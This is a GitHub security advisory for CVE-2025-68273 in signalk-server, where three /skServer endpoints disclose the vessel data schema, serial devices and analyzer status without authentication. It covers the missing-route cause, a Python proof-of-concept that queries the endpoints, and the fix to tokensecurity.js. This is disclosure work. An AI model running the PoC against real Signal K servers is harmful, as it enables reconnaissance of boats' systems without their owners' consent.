GHSA-FPF5-W967-RR2M

Vulnerability from github – Published: 2026-01-02 15:22 – Updated: 2026-01-02 15:22
VLAI?
Summary
Signal K Server Vulnerable to Unauthenticated Information Disclosure via Exposed Endpoints
Details

[Note] This is a separate issue from the RCE vulnerability (State Pollution) currently being patched. While related to tokensecurity.js, it involves different endpoints and risks.

Summary

An unauthenticated information disclosure vulnerability allows any user to retrieve sensitive system information, including the full SignalK data schema, connected serial devices, and installed analyzer tools. This exposure facilitates reconnaissance for further attacks.

Details

The vulnerability stems from the fact that several sensitive API endpoints are not included in the authentication middleware's protection list in src/tokensecurity.js.

Vulnerable Code Analysis: 1. Missing Protection: The tokensecurity.js file defines an array of paths that require authentication. However, the following paths defined in src/serverroutes.ts are missing from this list: - /skServer/serialports - /skServer/availablePaths - /skServer/hasAnalyzer

  1. Unrestricted Access: Because they are missing from the protection list, the http_authorize middleware allows access to these paths even when enableSecurity is set to true.

Exploit Scenario: 1. Reconnaissance: An attacker scans the server for these endpoints. 2. Data Extraction: - Querying /skServer/availablePaths returns the full JSON schema of the vessel's data (e.g., environment.sun.sunrise, navigation.position), allowing the attacker to know exactly what data points are available for targeting. - Querying /skServer/serialports reveals connected hardware (e.g., /dev/ttyUSB0), aiding in physical device targeting.

PoC

The following Python script demonstrates the vulnerability by querying the exposed endpoints without any authentication headers.

import urllib.request
import json

BASE_URL = "http://localhost:3000"

def check_endpoint(name, path):
    url = f"{BASE_URL}{path}"
    print(f"[*] Checking {name} at {url}...")
    try:
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req) as response:
            if response.getcode() == 200:
                print(f"[!] VULNERABLE: {name} is accessible without authentication!")
                content = response.read().decode('utf-8')
                print(f"    Snippet: {content[:100]}...")
            else:
                print(f"[-] Secure: {response.getcode()}")
    except urllib.error.HTTPError as e:
        print(f"[-] Secure: {e.code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("--- SignalK Information Disclosure PoC ---")
    check_endpoint("Serial Ports", "/skServer/serialports")
    check_endpoint("Available Paths", "/skServer/availablePaths")
    check_endpoint("Analyzer Check", "/skServer/hasAnalyzer")

Expected Result: The script will output [!] VULNERABLE for all three endpoints, showing snippets of the leaked JSON data.

Impact

Verified Information Disclosure: During our verification, we successfully retrieved the following sensitive information without any authentication: 1. Full Data Schema: The /skServer/availablePaths endpoint returned the complete JSON schema of the vessel's data. * Example: environment.sun.sunrise, navigation.position * Leakage of Internal State: We also observed entries like notifications.security.accessRequest.readwrite.attacker-device-32, which revealed the presence and IDs of pending access requests (traces of our DoS attack), showing that internal server state is exposed. 2. Hardware Configuration: The /skServer/serialports endpoint exposed the list of connected serial devices. 3. System Capabilities: The /skServer/hasAnalyzer endpoint revealed whether traffic analysis tools were installed.

This information allows an attacker to map the system's internal state and capabilities, significantly facilitating further targeted attacks (Reconnaissance).

Remediation

Update src/tokensecurity.js Add the missing paths to the list of protected routes in src/tokensecurity.js.

// src/tokensecurity.js

// ... existing protected paths ...
;[
  '/apps',
  '/appstore',
  '/plugins',
  '/restart',
  '/runDiscovery',
  '/security',
  '/vessel',
  '/providers',
  '/settings',
  '/webapps',
  '/skServer/inputTest',
  // ADD THESE LINES:
  '/skServer/serialports',
  '/skServer/availablePaths',
  '/skServer/hasAnalyzer'
].forEach((p) =>
  app.use(`${SERVERROUTESPREFIX}${p}`, http_authorize(false))
)
Severity ?
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T15:22:11Z",
    "nvd_published_at": "2026-01-01T19:15:53Z",
    "severity": "MODERATE"
  },
  "details": "[Note] This is a separate issue from the RCE vulnerability (State Pollution) currently being patched. While related to tokensecurity.js, it involves different endpoints and risks.\n\n### Summary\nAn unauthenticated information disclosure vulnerability allows any user to retrieve sensitive system information, including the full SignalK data schema, connected serial devices, and installed analyzer tools. This exposure facilitates reconnaissance for further attacks.\n\n### Details\nThe vulnerability stems from the fact that several sensitive API endpoints are not included in the authentication middleware\u0027s protection list in `src/tokensecurity.js`.\n\n**Vulnerable Code Analysis:**\n1.  **Missing Protection**: The `tokensecurity.js` file defines an array of paths that require authentication. However, the following paths defined in `src/serverroutes.ts` are missing from this list:\n    - `/skServer/serialports`\n    - `/skServer/availablePaths`\n    - `/skServer/hasAnalyzer`\n\n2.  **Unrestricted Access**: Because they are missing from the protection list, the `http_authorize` middleware allows access to these paths even when `enableSecurity` is set to `true`.\n\n**Exploit Scenario:**\n1.  **Reconnaissance**: An attacker scans the server for these endpoints.\n2.  **Data Extraction**:\n    - Querying `/skServer/availablePaths` returns the full JSON schema of the vessel\u0027s data (e.g., `environment.sun.sunrise`, `navigation.position`), allowing the attacker to know exactly what data points are available for targeting.\n    - Querying `/skServer/serialports` reveals connected hardware (e.g., `/dev/ttyUSB0`), aiding in physical device targeting.\n\n### PoC\nThe following Python script demonstrates the vulnerability by querying the exposed endpoints without any authentication headers.\n\n```python\nimport urllib.request\nimport json\n\nBASE_URL = \"http://localhost:3000\"\n\ndef check_endpoint(name, path):\n    url = f\"{BASE_URL}{path}\"\n    print(f\"[*] Checking {name} at {url}...\")\n    try:\n        req = urllib.request.Request(url)\n        with urllib.request.urlopen(req) as response:\n            if response.getcode() == 200:\n                print(f\"[!] VULNERABLE: {name} is accessible without authentication!\")\n                content = response.read().decode(\u0027utf-8\u0027)\n                print(f\"    Snippet: {content[:100]}...\")\n            else:\n                print(f\"[-] Secure: {response.getcode()}\")\n    except urllib.error.HTTPError as e:\n        print(f\"[-] Secure: {e.code}\")\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n\nif __name__ == \"__main__\":\n    print(\"--- SignalK Information Disclosure PoC ---\")\n    check_endpoint(\"Serial Ports\", \"/skServer/serialports\")\n    check_endpoint(\"Available Paths\", \"/skServer/availablePaths\")\n    check_endpoint(\"Analyzer Check\", \"/skServer/hasAnalyzer\")\n```\n\n**Expected Result:**\nThe script will output `[!] VULNERABLE` for all three endpoints, showing snippets of the leaked JSON data.\n\n### Impact\n**Verified Information Disclosure**:\nDuring our verification, we successfully retrieved the following sensitive information without any authentication:\n1.  **Full Data Schema**: The `/skServer/availablePaths` endpoint returned the complete JSON schema of the vessel\u0027s data.\n    *   **Example**: `environment.sun.sunrise`, `navigation.position`\n    *   **Leakage of Internal State**: We also observed entries like `notifications.security.accessRequest.readwrite.attacker-device-32`, which revealed the presence and IDs of pending access requests (traces of our DoS attack), showing that internal server state is exposed.\n2.  **Hardware Configuration**: The `/skServer/serialports` endpoint exposed the list of connected serial devices.\n3.  **System Capabilities**: The `/skServer/hasAnalyzer` endpoint revealed whether traffic analysis tools were installed.\n\nThis information allows an attacker to map the system\u0027s internal state and capabilities, significantly facilitating further targeted attacks (Reconnaissance).\n\n---\n### Remediation\n**Update `src/tokensecurity.js`**\nAdd the missing paths to the list of protected routes in `src/tokensecurity.js`.\n\n```javascript\n// src/tokensecurity.js\n\n// ... existing protected paths ...\n;[\n  \u0027/apps\u0027,\n  \u0027/appstore\u0027,\n  \u0027/plugins\u0027,\n  \u0027/restart\u0027,\n  \u0027/runDiscovery\u0027,\n  \u0027/security\u0027,\n  \u0027/vessel\u0027,\n  \u0027/providers\u0027,\n  \u0027/settings\u0027,\n  \u0027/webapps\u0027,\n  \u0027/skServer/inputTest\u0027,\n  // ADD THESE LINES:\n  \u0027/skServer/serialports\u0027,\n  \u0027/skServer/availablePaths\u0027,\n  \u0027/skServer/hasAnalyzer\u0027\n].forEach((p) =\u003e\n  app.use(`${SERVERROUTESPREFIX}${p}`, http_authorize(false))\n)\n```",
  "id": "GHSA-fpf5-w967-rr2m",
  "modified": "2026-01-02T15:22:11Z",
  "published": "2026-01-02T15:22:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-fpf5-w967-rr2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68273"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/commit/ead2a03d8994969cafcca0320abee16f0e66e7a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K Server Vulnerable to Unauthenticated Information Disclosure via Exposed Endpoints"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.